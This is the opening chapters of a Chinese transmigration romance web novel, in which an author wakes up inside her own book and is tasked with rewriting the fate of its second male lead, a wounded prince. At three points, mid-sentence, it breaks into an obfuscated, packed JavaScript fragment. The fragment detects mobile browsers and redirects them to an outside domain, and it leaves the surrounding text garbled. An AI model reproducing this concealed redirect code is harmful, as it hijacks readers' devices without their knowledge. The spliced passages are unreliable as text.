《结局后男二何去何从》 1. 秋风萧瑟玉兰暖 眼前盘旋向上的木质楼梯似乎永无尽头,江沁月气喘吁吁地奔走其间,身上垂坠曳地的古装华服无比拖累。 她已是精疲力竭,却丝毫不敢放慢脚步。 壁龛里的烛火明明灭灭,转过一个拐角时,她的余光又瞥见了下方那道鬼魅般的身影。 江沁月看不清那人的面容,却见他闲庭信步般悠然,像是在纵容着她这个猎物的垂死挣扎。 终于踏上了最后一级楼梯,顶楼上空空如也,只有面前一扇窗户。 她毫不犹豫地冲上前推开窗,却只有漆黑一片,什么也看不见。 背后之人一步步靠近,环佩相撞的清脆响声不疾不徐。 江沁月汗毛倒竖,感觉自己在一点点坠入冰窟。 她心一横,纵身跃出窗外,强烈的失重感裹挟着她向下坠去。 …… “嘶!”江沁月从噩梦中惊醒,只觉得这一觉睡醒更疲惫了。 双手撑在冰冷的石板地面上,江沁月正准备起身……等等?她这是在哪? 她记得自己是在公司通宵加班,没吃晚饭于是深夜点了个外卖,趁着等饭的时间打算趴桌上小憩一会儿。 可现在晨光熹微,自己蜷缩在路边的墙脚下,目之所及是一片古代建筑,偶有古装打扮的路人走过,无不朝她投来怪异的目光。 几片随风飘来的金黄银杏叶昭示着此时是深秋时节,一身短袖短裤的江沁月忍不住打了个寒颤,心更是凉得彻底。 周围的一切都太真实了。 江沁月从大学就开始兼职写网文,平时也看了不少小说,根据周围的环境以及纸上谈兵的经验,她得出一个结论——自己应该是穿越了。 而且不妙的是,她是身穿,在这个世界身无分文,甚至没有一个合适的身份。 江沁月打算先在周围转转摸清楚状况,谁料没走几步她便觉得眼前一阵阵发黑。 不好!估计是太久没吃东西,低血糖犯了。 来不及采取任何应对措施,她就两腿一软晕了过去。 出师未捷身先死,人怎么可以这么倒霉!江沁月失去意识前在心中默默哀号。 再醒来时,江沁月发现自己躺在舒适宽敞的软榻上,身上还穿着那套宽松的短袖短裤,但是盖上了温暖软和的锦被,完全不觉得冷,甚至出了些薄汗。 愣神了几秒钟,她彻底清醒过来,自己两眼一闭一睁,怎么就又来了个乾坤大挪移? 她微微起身,看见屋内不远处坐着一个女子,似乎正在用桌上的小炉熬煮着什么东西。 “...…你好?”江沁月试探着打了声招呼。 “啊!你已经昏睡大半天了,好在总算是醒啦!”听到她的声音,那女子几步来到床边,从旁边拿来一件披风给她披上,“你饿了太久又受了风寒,吃过药得好好发一场汗,千万不能再受凉了。” 这位应当是自己救命恩人的美女姐姐约莫二十五六,脸上未施粉黛,头发简单挽成高髻并扎了一条发带固定好,袖子用襻膊绑住挽起,看起来十分干练。 “多谢姐姐救命之恩,请问…我这是在什么地方?”江沁月问道。 “这里是邀月轩,我是这儿的老板赵昭兰,”那女子一边说一边将两边的床幔撩开挂起,“早上一开门就看见你倒在街边上,吓了我一跳!赶紧让青神医给你看过,好在她说你没什么大碍……” 邀月轩?赵昭兰?那青神医想必全名就是青玉方了,江沁月一下子抓住了话里的重点。 她好像知道自己穿到什么地方了。 《东山起》,她大四时写的网络小说,不出意外的话,这里就是书中的世界了。 江沁月心定了几分,坐在榻边的赵昭兰依旧噼里啪啦说个不停:“姑娘啊,这大冷天的你穿得这么单薄……是不是遇到了什么困难?如果有什么我能帮上忙的,你尽管开口。” 话说得还是含蓄了,这衣服不仅单薄,在这个世界中简直是独一无二的另类。 她还没来得及说什么,却见赵昭兰猛一拍脑袋:“瞧我这记性!你饿了这么久,要不要吃点东西?” 话音刚落,江沁月空空如也的胃“咕噜”一声发出抗议,她点点头:“劳烦赵姐姐了,我们素昧平生,你却这么照顾我......” “哪里的话,换谁来也不能看着大街上躺着个人却无动于衷吧。”赵昭兰端来一小碗粥递给她,“一直放在小炉上煨着,这是我独家配方的甜粥,你快尝尝合不合口味。” 江沁月记得在书中赵昭兰算是个NPC,几乎没怎么出场,只说她厨艺一绝,在丈夫去世后独自经营这京城中最富盛名的酒楼之一——邀月轩。 江沁月舀了一勺粥,入口清甜不腻,口感丰富,有点类似八宝粥,但滋味更胜一筹。 沉默干饭是对一个厨师的最大认可,赵昭兰见状十分欣慰。 “慢慢吃别着急,我的拿手好菜可多了,等你病好了做给你吃。”她笑眯眯地说。 一碗粥见底,江沁月也给自己构思好一段坎坷过往,酝酿了一下情绪,准备开始讲故事。 “赵姐姐,真的很谢谢你。我...是从益州来的,”江沁月第一次扯这么大的谎,难免有些紧张,垂下眼眸不敢直视赵昭兰。 “我叫江沁月,半年前我丈夫突然一病不起,请了不少郎中来看都束手无策,没几天他就去世了……嫁进他家三年了,他家里人一向看不起我,儿子死了便一口咬定是我害死了他,可生死之事哪里是我可以操控的?” “他们不能给我定罪将我送进大牢,就说我命中带煞克死了丈夫,还编排了很多莫须有的事情到处宣扬,说我…罢了,那些话实在是……” 江沁月嘴比脑子快导致突然卡壳,于是适时地抬手擦了擦不存在的眼泪。 “这些风言风语传遍了街坊邻居,明明他的死和我没有任何关系,可是一上街我就要被人指指点点。我娘家人也都不在了,我实在无处可去,便割发代首与他们两清,准备上京城来投靠一个远房表哥,谁料扑了个空,不知他家搬迁去何处了......” 江沁月给自己立了个悲惨寡妇的人设。 而且考虑到古人可能比较讲究身体发肤受之父母,她便顺带编了个理由解释为什么自己的头发只到肩膀下面一些,至于这身“奇装异服”嘛...... “昨晚我遇到了劫匪,抢走我所有财物还把我打昏了,醒来我就发现被换上了这身奇怪的衣服…我又冷又饿,一下子支撑不住就……” 解释不清楚那就不解释了,这是给故事的留白,江沁月安慰自己。 听她讲完,赵昭兰沉默了几秒,脸上隐隐有几分怒色:“人言可畏,一人一口唾沫也会淹死人。传谣的人可恶,造谣的更是可恨至极!这一家子人,早日在九泉之下团聚吧!” 深吸一口气压下心中的怒火,她接着道:“江妹妹,你且安心在这住下,先把病养好,以后的事慢慢打算。” 自己编了个假故事,别人却真情实感地替她不平,江沁月心里萌生出几分难为情来。 正说话间,有人推门而入,一身素净的穿着打扮俨然像个道姑,肩上挎着一个药箱——来人正是青玉方。 在《东山起》中,青玉方也是一个戏份不多的小角色,年纪轻轻医术高明,游历各州四方行医,故有“四海游医”之称。偶然救过性命垂危的男主一次,还帮助男女主一起平息了青州的瘟疫, “今天居然在天黑之前就看完诊了?好难得,”赵昭兰招呼了一声,又介绍她们互相认识。 “江妹妹,这位就是青玉方青神医了,她的名号或许你也有听说过,最近她刚好来了京城,也住在我这儿。玉方,她叫江沁月,是从益州来的。” 二人相视一笑算是打过了招呼,青玉方并不多言,拿出脉枕给她又把了下脉。 诊脉时三人无言,房间内陷入了诡异的沉默,见青玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156631|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面无表情微微蹙眉,江沁月有些紧张。 她一向害怕看医生,更害怕医生脸上浮现出这种不可名状的表情。 她感觉自己心跳都加快了:“青神医,我...不会还得了别的什么疑难重症吧?” “那倒没有,不过你应该长期睡眠不足。” “噢……那没事了,”江沁月长舒一口气。 这睡眠不足也不能怪她吧,又不是她自愿熬夜加班。 见青玉方正把整理得一丝不苟的脉枕放回药箱,江沁月好奇问道:“青神医,你平时是怎么给人看病的啊?在京城的医馆里坐诊吗?” “没有,我早上在邀月轩门前坐诊,下午去一些不方便行动的重病患者家里上门看诊。” “那找你看病要多少诊金啊?我虽然现在拿不出来,但后面一定想办法…” “不必,”青玉方打断了她的话,“治病救人从来不是为了赚钱,我游历各地,是为了能救更多的人。” “没有固定的诊金,量力而行随缘给就行,”她接着说,“我知道你现在很拮据,给你治病是举手之劳,不必挂怀。” 赵昭兰插嘴道:“那些有钱人找她看病给的可多了,金银珠宝一箱子一箱子地抬过来,她也不全收,随便挑一样就把剩下的都退回去了。” “什么?!都退回去了?”一贫如洗的江沁月完全无法理解这种行为。 “师父留下的遗产足够我衣食无忧一辈子了,生不带来死不带走,要那么多钱有何用?”青玉方不明白她为何如此激动。 江沁月不禁黯然神伤,屋子里三个人,一个是豪华大酒楼老板,一个坐拥巨额遗产,只有她是真的一穷二白,真的很想跪求富婆包养。 “哎这一说我突然想起,襄王殿下似乎病得很严重,怎么不派人来找玉方去瞧瞧?”赵昭兰压低声音道。 “听来楼里吃饭的大人们说,之前殿下在庆功宴上突然吐血昏倒,整个太医院都被叫去了,之后就一直在王府休养,消息被瞒得很死,也不知道什么病,估计情况不太好。” “太医院人才济济,这些王公贵族能有什么大事?”青玉方不甚在意,“若真需要我,他们自会派人来请,不在京城也会把你抓来的。” “襄王...穆衍吗?”江沁月心中一紧,穆衍是她书中的男二,只是这庆功宴已经是临近结局时的事了,怎么穿到了这个时间点...... 赵昭兰点点头,眼看她又要滔滔不绝讲故事了,青玉方一把将她拉起来:“昭兰姐,让江姑娘好好休息吧。” 赵昭兰被强行闭麦,一同出门前,她回头嘱咐道:“注意别再着凉了啊,明日我给你带些厚衣服来。” 江沁月睡了太久毫无困意,便开始琢磨起自己的事。 一般来说穿越后不应该冒出个系统,告诉她完成xx任务才能回家吗? 但这都基本上尘埃落定大结局了,也不需要自己再去干什么吧? 自己似乎也不算太倒霉,虽然穿越之后遇到了一些小危机,但很幸运遇见了两个善良的姑娘,她打算病好后看看能不能帮她们做点什么。 还有襄王穆衍,他在书中的结局被不少读者大骂特骂,身为作者的江沁月当然也受到了不少人身攻击。 许多读者控诉她给这个男二设置了太多不必要的苦难,处处与男主形成对比,而男二还要帮男主夺位给女主当舔狗...... 江沁月写书时自认为给穆衍设定的突发恶疾的结局非常合理,又不是死了,也没说到底什么病,开放式结局给大家一些想象的空间。 但是听赵昭兰的意思,似乎情况不妙。 她心里有些发堵,毕竟是书中的主要角色之一,她还是希望他能长命百岁。 在书里穆衍确实有点点惨,但结局之后他可以去追求自己的幸福人生嘛…… 胡思乱想间困意渐渐涌了上来,江沁月就这样带着混乱的思绪渐渐沉入了梦乡。 2. 拾遗遇仙诸事繁 没过两天,江沁月的病就好得差不多了,她立马把第一要务提上日程——赚钱傍身。 她先是提出要在邀月轩给赵昭兰打工,但赵昭兰一口拒绝了:“楼里暂时不缺人,而且你这细皮嫩肉的,哪里像是做过粗活的人?” 江沁月以为她是嫌自己娇气:“我绝不会喊苦喊累!现在这样什么都不干还白占着一间房,实在太不好意思了……” “嗐,原来是担心这个,”赵昭兰道,“那你和玉方一样,住我家里来吧!邀月轩后院有个小门和我家小院连着的。” “这……” “哎呀就当来陪陪姐姐我了,一个人住无聊得紧,这下可算热闹些了。”赵昭兰抢道,“那句话怎么说来着?有朋自远方来,不亦乐乎嘛!” 盛情难却,江沁月便跟着赵昭兰回了家,心里却一直发愁赚钱的事——倒也不是想穿越后翻身农奴把歌唱,大富大贵一步登天,但人总要有立身之本吧。 …… 不知不觉间,江沁月来了已经快一个月了。她暂时还没想出什么更合适的谋生手段,但她经常会帮赵昭兰和青玉方跑跑腿做点事。 比如在饭点帮着上菜收银啊、在厨房打打下手啊、替神医跑腿买药材送药上门啊…… 而那二位像是看出来了她对于没钱这件事的焦虑,在她帮忙之后便会给她一些工钱——江沁月觉得自己很像是帮长辈买烟买调料换取零花钱的小朋友,不过总算是有了碎银几两。 说实话,她都有点喜欢上这样悠闲的日子了。 穿越之前她刚参加工作两个月,每天早出晚归被压榨得生无可恋,现在她腰不酸了腿不痛了,早睡早起黑眼圈也消失了。 不过生活嘛,总会遇到一些意想不到的事和人。 这天清晨她如往常一样准备出门采购,刚出大门就看见一个男人倒在墙边,江沁月第一时间只觉得这条街指定有些说法。 没错,赵昭兰家大门前的这条小街,正是她刚穿越到这个世界时的“出生地”,好在这里一向僻静,少有路人经过。 江沁月连忙上前查看那人的情况。只见他满脸血污双目紧闭,显然是昏过去了,身上的衣服被兵刃划得破破烂烂,浸出的鲜血将衣服染得看不清本来的颜色,手边一柄短剑已经卷刃了,应该是和人搏斗过,也不知什么仇什么怨,才把人伤成这样。 江沁月赶紧叫来赵昭兰,两人一起将他抬进家门,把他安置在江沁月隔壁的厢房里。 “玉方?玉方?你还在家吗快来看看!这人感觉快不行了!”江沁月扯着嗓子大喊。 “别叫了,来了。”青玉方挎着药箱走到床前,“先把他衣服脱了,身上外伤肯定不少得赶紧处理,还要看有没有伤到筋骨。” 除去身上衣物后,暴露出来的伤口更是触目惊心,较浅的已经凝血结痂,严重的伤口深可见骨,边缘的皮肉翻卷出来还沾着泥污,腹部那道刺伤甚至还有鲜血在不断渗出。 这看起来应该不止被一种利器所伤。 “肋骨断了三根,伤处太多失血严重,腹部的刺伤可能伤到了脾脏,”青玉方仔细检查过后准备开始包扎上药,“先止血,血能止住便不会有性命之忧。” “能保住小命才是最要紧的。”江沁月说着将那柄一起捡回来的短剑放在桌子上,帮青玉方一起包扎伤口。 青玉方一边上药一边说:“还有,他肩上应该是被落雁镖所伤,这位公子怕是身份不简单。” 落雁镖?那不是西辽人爱用的暗器吗?据说这玩意射程极远威力巨大,可击落天上飞雁,且飞镖形状特异,所以拔出后伤口会血流不止。 江沁月暗自吃惊,这西辽与大梁一向关系紧张,而且在这个时间点上应该才吃了个败仗,居然还敢跑来京城杀人行凶? 处理完所有伤口后,青玉方开了一副内服药,让她们煎了给那人服下,便准备出门看诊了。 临走前她说:“留个人照看他一下比较好,他身上的药得半天换一次。” “我来吧!”江沁月自告奋勇道,“昭兰姐要管邀月轩那边,玉方你还得给那么多人看病,我来照顾他就好啦,而且我房间就在隔壁嘛也方便。” 赵昭兰和青玉方各自忙去了,房间里只剩下江沁月和床上昏迷不醒的男人。 她重新打来一盆水,替他擦干净脸上的血污,看清他的脸后,江沁月不由得一怔。 这是个看起来二十出头的青年,面容柔和温润如玉,只是或许因为失血过多,看起来略显苍白。 不得不承认,这是她二十年来见过最好看的脸,哪怕他闭着眼睛沉睡不醒。 江沁月走到桌边又拿起那柄卷刃短剑,明眼人都能看出,其做工十分精致。 剑柄上应该本来还镶嵌着宝石,只是在打斗中磕掉了。 青年的外袍虽然已经破烂不堪,但不难看出上面绣有繁复华丽的暗纹。 惊为天人的容貌,彰显不凡身份的服饰,跟西辽有关系……江沁月对这位的身份有了猜测。 “不应该吧…他怎么可能在这?还伤得这么严重……”她嘀咕道,不敢妄下定论。 熬药喂药换药,一通忙活完已经是晚上了,江沁月累得够呛,便准备回房间早些休息了。 她点亮屋内烛火,转身却被吓了一跳,自己床上躺着一个年轻女孩,似乎是睡着了。 这显然不会是什么心大的小偷,莫非是赵昭兰家的什么亲朋宾客走错了房间? “姑娘,快醒醒,你是不是进错屋了?”江沁月轻轻拍了拍她,试图将她唤醒。 “别吵…让本仙再睡一会儿……”女孩咕哝着拂开她的手,翻个身准备继续睡。 “……”江沁月有些手足无措,不是,这是她自己的床没错啊? “等等——”不等她再说什么,床上的女孩一骨碌爬起来,“江沁月?笔名秋月白?是你吧?” 江沁月惊讶道:“你怎么知道?你是什么人?” 真是奇了,知道名字也就罢了,连笔名都知道,她也是穿越者? 恐怕还不止这么简单。 “太好了!实在抱歉,我最近太忙了差点把这任务给忘了,还好来得不算太迟,”女孩长舒一口气,“啊忘记自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156632|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 介绍了!” 她理了理躺得有些皱巴巴的衣裙,端出一副优雅严肃的姿态,“本仙乃漆桐仙君是也,奉我家神君的命令来监督并协助你完成任务。” “什么油漆桶仙君?不如来个系统指导我一下该怎么回家!” “是漆!桐!不是油漆桶!不过你算是说到点上了,我确实约等于系统,但我可是仙官,比那种死人机靠谱多了好吧?”漆桐愤愤不平。 “哦对了,你完成任务就可以回家啦!怎么样?现在是不是充满了干劲?” “你倒是先说说任务到底是什么啊!而且你说你是仙君你就是了?老子还是玉皇大帝呢!”江沁月翻了个白眼。 “哎呀先听我讲完再质疑我也不迟嘛!”漆桐说,“你肯定已经知道了,这是你笔下小说《东山起》的世界,那你知不知道你为什么会来到这里?” 江沁月摇了摇头。 “我家神君看了你这本书,和很多人一样,对于男二穆衍的故事线不太满意,所以就让你以身入局,亲自来续写一下穆衍的故事咯,希望你能给出一个属于他的好结局。” “至于我是不是仙君……”漆桐笑了笑,从袖中摸出一样东西放在桌上,江沁月看清之后有些惊讶。 “啊!我的手机?!” 漆桐有几分得意:“怎么样?信了吧?我可是能跨越时间与空间的存在。” 一瞬的惊喜之后,江沁月想起漆桐前面的话,不满地问:“不对,你家神君不喜欢穆衍的故事线,那也不能这样滥用职权,折腾我一个小老百姓吧?等完成任务回家的时候我工作都早没了吧!回去等着饿死吗?” 漆桐闻言也露出几分无奈的表情:“没办法呀!我也是给上面办事的,你对我撒气也没用,完不成任务的话,你回不了家,我也不能给神君交差……” 她眼中甚至闪现出泪光:“沁月,同是天涯打工人,我们是一条绳上的蚂蚱,携手并进方为上策啊。” “……那要怎么样才算是完成任务?什么样的结局才是好结局?” “这个这个…我也不太清楚,我也只看过一遍小说嘛……”漆桐嗫嚅道,又话锋一转,“但我思来想去,觉得具体过程当然要由亲爱的作者大大秋月白,也就是你来构思嘛!当然,我也会全程跟进帮忙的!有我在没意外!” 这一问三不知的,怎么好意思说系统是死人机?可若是真的完成任务才能回家,那江沁月别无选择。 这一个月来的悠闲日子确实舒服,简直像是度假,但她总要回家呀,那里有她二十年来的亲朋好友,不知道自己这突然失踪,他们都急成什么样了。 “那穆衍现在在哪?仙君啊,你真的靠谱吗?”江沁月有气无力地问。 “不就在隔壁吗?你不是刚从他那回来?”漆桐奇怪地问道,“话说幸好你把他救回来了,不然任务应该已经失败了。” 江沁月坐直身子,尽管之前已经有所猜测,但还是不敢相信:“真的是他?他怎么会被伤成这个样子?” “这就得问你自己了,穆衍所经受的一切,不都是你一手造成的吗?” 3. 任务加身疑云起 “什么叫他的一切都是我造成的?”江沁月皱眉道,“我在最后也没写他被人刺杀了啊。” “我问你,你这本书主要讲了个什么样的故事?” “一个不受宠被养在行宫的皇子,被世家大小姐女主拯救温暖,两人一起成长最后站上权力巅峰的故事嘛。”江沁月言简意赅,又补充道,“也还没完全登上巅峰,但反正男主已经是太子了嘛,迟早的事。” “那你再想想,男二穆衍的故事线是怎样的呢?” “呃…总体来说算是一个美强惨的路线吧?跟男主穆灼的人生形成鲜明对比……”她仔细回忆,不得不承认,穆衍的人生确实有点惨。 襄王一脉封地在楚阳,穆衍十岁那年,大梁与西辽交战,父王受命领兵出征,连战告捷班师回朝,皇上下旨将他与母妃也接到了京城,但父王开始常年征战在外,一家人总是聚少离多。 后来他与远房表妹,也就是女主颜桃定下了婚约,却不料天降男主穆灼,一番周折后婚约作废。穆衍曾劝过颜桃,说那穆灼并非良人,但他的阻挠只会是爱情的绊脚石罢了。 穆衍还被发了一张“好哥哥卡”,从此以后明里暗里给男女主帮了不少忙。 再后来,他的父王意外战死,穆衍继承了爵位,听闻噩耗的母妃不久后也郁郁而终。 短时间内失去双亲的穆衍悲痛万分,血书上谏请命出征,果然大破敌军,杀得西辽落花流水,元气大伤。 这时的他二十一岁,大梁将才稀少,穆衍一战成名,好一个意气风发的少年将军! 回到京城后,皇上为他举办了盛大的庆功宴,本是最该春风得意之时,穆衍却在宴上突然吐血昏迷……他的故事便在这里戛然而止了。 穆灼是一朵向阳生长的花,走到最后爱情事业双丰收;而穆衍的人生好像一直在失去,走到最后孤身一人风雨飘摇。 可是如今这遍体鳞伤奄奄一息的样子也不能怪她吧?这可不在她设定中。 “我知道你在想什么,刺杀跟你有没有关系已经不重要了,重要的是,你要从现在开始,续写他的故事。”漆桐郑重其事地说,“我家神君贸然把你抓过来,虽然有几分不讲道理,但你也不愿意看到穆衍的人生惨淡收场吧?” 江沁月无法反驳。 “所以呢,我们一起加油,努力完成任务吧!”漆桐比了个加油的手势。 “那既然要一起加油,你在任务中的作用是什么?”江沁月问。 “我主要是监督辅助你嘛。”漆桐指了指桌上的手机,“这种宝贝我都给你带来了,你还没谢谢我呢。” “有啥用?这里又没网没电,手机和板砖有什么区别?” “当然有用!我在天庭还有别的事务,不能一直跟你呆在这里,我们后面的交流主要就靠它了。” 说罢漆桐一手拿起手机,一手结印施了个小法术,江沁月一看,手机上多了个云纹图标的APP。 “这是天庭专用的通讯软件,我们以后的交流主要就靠这个了。你每天发生了什么事或者有什么问题,都可以直接发给我。” “意思是我还得给你写日报?我命好苦。”江沁月撇嘴。 “不用那么复杂啦,你随便写,它会自动总结成报告给我看的,”漆桐说,“虽然有方天水镜可以时刻观察世间万物,但我没工夫一直盯着看,而且这样监视你的话你也不自在吧?” “…你还怪贴心的,话说你们神仙也开始搞现代化建设了吗?” “与时俱进嘛,法术和科技都是好东西,这说不定有一加一大于二的效果呢是吧?” 漆桐把手机交给她,继续叮嘱道:“有几点要注意,第一,不要让其他人发现这种未来时代的产物,自己小心注意;第二,手机的耗电速度被我施法降低了,但你还是节约着用吧。” “不过除了手机系统自带功能和这个APP,你基本上也只能再重温一下《东山起》这本小说了。因为怕你自己都忘了前面的具体剧情,我专门给你保存到本地了。” “好啦不跟你多说了,最近挺忙的,我要回天庭继续干活了,有情况随时向我汇报,我也会抽空下来看你的!拜拜!” 只见金光一闪,漆桐便不见了踪影,江沁月望着手机,心情十分复杂。 度假般的美好生活被压上了任务的巨石,要怎么做也毫无头绪,不过总算是有了回家的希望。 既然要给穆衍续写一个好结局,那他现在肯定不能死,但他现在真的好脆弱。 身负重伤不说,凶手也不知道会不会卷土重来。 还有他到底得了什么病,为什么病了还到处乱跑? 江沁月不放心,打算去问问青玉方。 她一进屋发现赵昭兰恰好也在,便将穆衍的身份告诉了二人,她们也十分惊讶。 “玉方,你今天看出他有什么别的病了吗?”江沁月赶紧问道。 “原来是襄王殿下,那他这病恐怕不能为外人所知,”青玉方柳眉微蹙,“我是瞧出来了,此病难以根治,但好生将养着也不危及性命,内服方子里有几味调理的药材。” “也别问是什么病了,我们还是假装全然不知最好。”她接着说,“先让他好好在这养伤吧,他暂时醒不过来,要劳烦沁月多照看他一下了。” 江沁月还想刨根问底,但估计是问不出来了,反正死不了就好。 沉吟片刻,她说:“要不这段时间我搬到他屋子里打地铺吧?一来方便照顾他,二来我有点担心那些刺客会不会再来……” 赵昭兰闻言打趣道:“这么上心啦?说不定殿下醒了之后感念你的恩情,以身相许娶你做王妃呢。” “别瞎说!昭兰姐你少看点话本小说吧!”江沁月佯装生气,一把抽走赵昭兰手里的书。 青玉方从药箱中取出一个小圆筒给她:“你的担心不无可能,这是我特制的暗器,你拿着防身吧,里面有十发银针,我用特制的药淬过,被射中就会立刻麻痹倒地。” “多谢玉方!你居然还有这种好东西!” “四方游历,自然还是要有些防身的本事。”青玉方不以为意。 …… 搬去打地铺后,或许是因为任务在身,或许是因为漆桐一番强词夺理让她真的对穆衍萌生出些许愧疚之心,江沁月一直尽心尽力地照看他,基本上足不出户。 半个月过去了,穆衍依旧没有要苏醒的迹象。 “怎么还不醒?”江沁月蹲在床前,看着他苍白的睡颜,他似乎更清减了几分,像个一碰就碎的睡美人瓷偶。 这些天她最常干的事就是伸手试探穆衍的呼吸,每每感受到他均匀的气息喷薄在指尖,自己好像也能安心几分。 江沁月不知第多少次将手指放在他鼻子下面,鬼使神差地,她这次没有收手,将指尖缓缓下移,轻抚过穆衍柔软干燥的薄唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156633|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 啊,是不是该给他喂点水了? 心里想着该去倒点水来,她的手指却还流连在穆衍唇边。 不能怪她胡乱对病人上下其手,谁叫穆衍长这么好看呢?不趁他昏迷时多吃两把豆腐,以后哪还有这等好事? 突然,仿佛打破了沉睡魔咒一般,穆衍纤长的睫羽轻颤了一下,睡美人缓缓睁开了双眼。 江沁月对上那双半睁着还透露出些许迷茫的眼眸,像是被火燎了似地缩回手,指尖还残留有穆衍唇上的温度。 好死不死,怎么这个时候醒了? 穆衍昏迷多日,醒来第一眼便看见女孩凑得极近的清秀脸庞,她似乎被突然苏醒的自己吓了一跳。 “咳咳,你终于醒了,”江沁月慌忙站起身,假装若无其事道,“那个…我看你嘴都干得起皮了,要不要喝点水?” 也不等穆衍回答,她赶紧去倒了水来,又想起他现在还不方便起身,只好拿来勺子,硬着头皮道:“殿下伤重,我喂给你吧。” “多谢姑娘。”久未开口,他的声音带着几分干涩的沙哑。 一勺一勺喂完水,江沁月正准备找借口溜出去缓缓神,却听穆衍问:“姑娘唤我殿下,可是知晓了本王身份?” 糟糕!说漏嘴了! 她侧目看见桌上那柄华丽短剑,急中生智道:“我猜的!听说在庆功宴上陛下赏了一柄镶有五色宝石的宝剑,所以我猜测尊驾是襄王殿下。” “哦?那你还有听闻什么别的庆功宴上的事吗?” 别的事?他突发恶疾昏倒的事?江沁月赶紧摆手道:“没有了!殿下放心,没有外人知道你在这里的。” 穆衍笑了笑:“别紧张,没有怪你的意思,天下没有不透风的墙,迟早会传出去的。” 他叹口气,又问起昏迷这段时间的情况,江沁月把捡到他时的情形,以及这是哪她是谁还有谁,全都事无巨细地讲了一遍。 “外面还有没有什么别的事我也不太清楚,这段时间我基本上都在你这里,晚些时候等昭兰姐她们回来可以问问。” 穆衍点点头,没再多说什么,屋里又陷入一片寂静。 明明在书中穆衍是一个温和有礼、让人如沐春风的玉面郎君,江沁月却在沉默中感到有些窒息。 这是什么封建王权带给人的压迫感吗? 她受不了这种氛围,忍不住开口道:“殿下,关于凶手是什么人,您有想法吗?” “暂时没有。”其实他大致猜出来了,但显然没必要跟一个才认识不久的姑娘说道。 江沁月一听,献宝似地提供线索:“我觉得凶手应该是西辽人,殿下肩膀上的伤口是落雁镖弄出来的。” “江姑娘真是见多识广,连落雁镖这种暗器都知道?” 又失言了!江沁月真想给自己两巴掌,聊这些做什么?知道太多的人不会有好下场的! 她赶紧解释道:“是青玉方青神医说的,她走南闯北游历行医,自然是见多识广。” 眼见天色不早,又是该换药的时间了,江沁月现在对这个流程无比熟练,三下五除二解开他的衣带,却有些下不了手。 之前穆衍昏迷着没觉得什么,现在他醒了,正垂眸看着自己手上的动作。 江沁月面对他大片裸露在外的皮肤和肌肉线条,突然有点不好意思了。 “怎么不动?不是要换药吗?”穆衍含笑道。 4. 重伤易愈病难痊 穆衍笑起来的时候,之前带给人的的威压感便荡然无存了,这才是她笔下熟悉的温和男二嘛。 对上他含着笑意的双眼,江沁月的脸热得更厉害了,赶紧低头换药。 他身上的伤口已经结痂,但或许因为他醒来后不自觉动了几下,小腹上那处深长的伤口又渗出了丝丝血迹,江沁月揭下包扎的绷带时,感受到了布料与皮肉分离时的撕扯感。 穆衍条件反射地小腹一紧,她仿佛也一阵幻痛,咬着下唇尽量麻利地上药重新包扎,手却不自觉地微微发抖。 “我不怕疼,你也别怕我疼。” 自己都疼得冒冷汗了,还反过来安慰她。终于搞定的江沁月长舒一口气,自己也整出了一身汗。 “还没来得及向姑娘道谢,这些天来,真的万分感谢姑娘的照拂,日后本王定有重酬。”穆衍试图坐起身来说话。 江沁月连忙一把按住他说:“殿下言重了,见死不救可不是美德,这都是我们该做的…你还是好好躺着吧,当心伤口又裂开了。” 穆衍一番春风化雨,江沁月也不怕他了,两个人有一搭没一搭地聊着天。 “听姑娘的口音不像是京城人氏,是来京城游玩的么?”穆衍随意问道。 “我是益州人,本是来京城投靠亲戚的,寻亲不成,昭兰姐她们便好心收留我了。” 江沁月又把自己虚假的悲惨身世讲了一遍,琢磨着得把这经历打在备忘录上,不然以后自己都忘了。 最好还得编得更详细一些,以免露馅。 “抱歉,谈及姑娘的伤心事了。但你这么好的人,以后一定会另遇良缘的。”穆衍的神情看起来十分真诚。 什么另遇良缘?她现在的目标是完成任务回家,还真要在这过日子不成?江沁月倒真想直接问问眼前这位,他想要什么样的结局? 院中有人声传来,想是青玉方她们一起回来了。果然,下一秒二人便推门而入。 赵昭兰打开食盒放在桌上,饭菜的香气扑鼻而来:“沁月,先来吃饭吧!” “别急别急,襄王殿下醒了!你们先来看看吧!” 二人闻言绕过屏风来到床前,江沁月让开位置,青玉方上前查看穆衍的情况,又仔细探查了一下脉象。 “没什么大碍了,好好休养慢慢调理就好。我建议殿下先安心在此处养伤,等痊愈再回王府。”青玉方道。 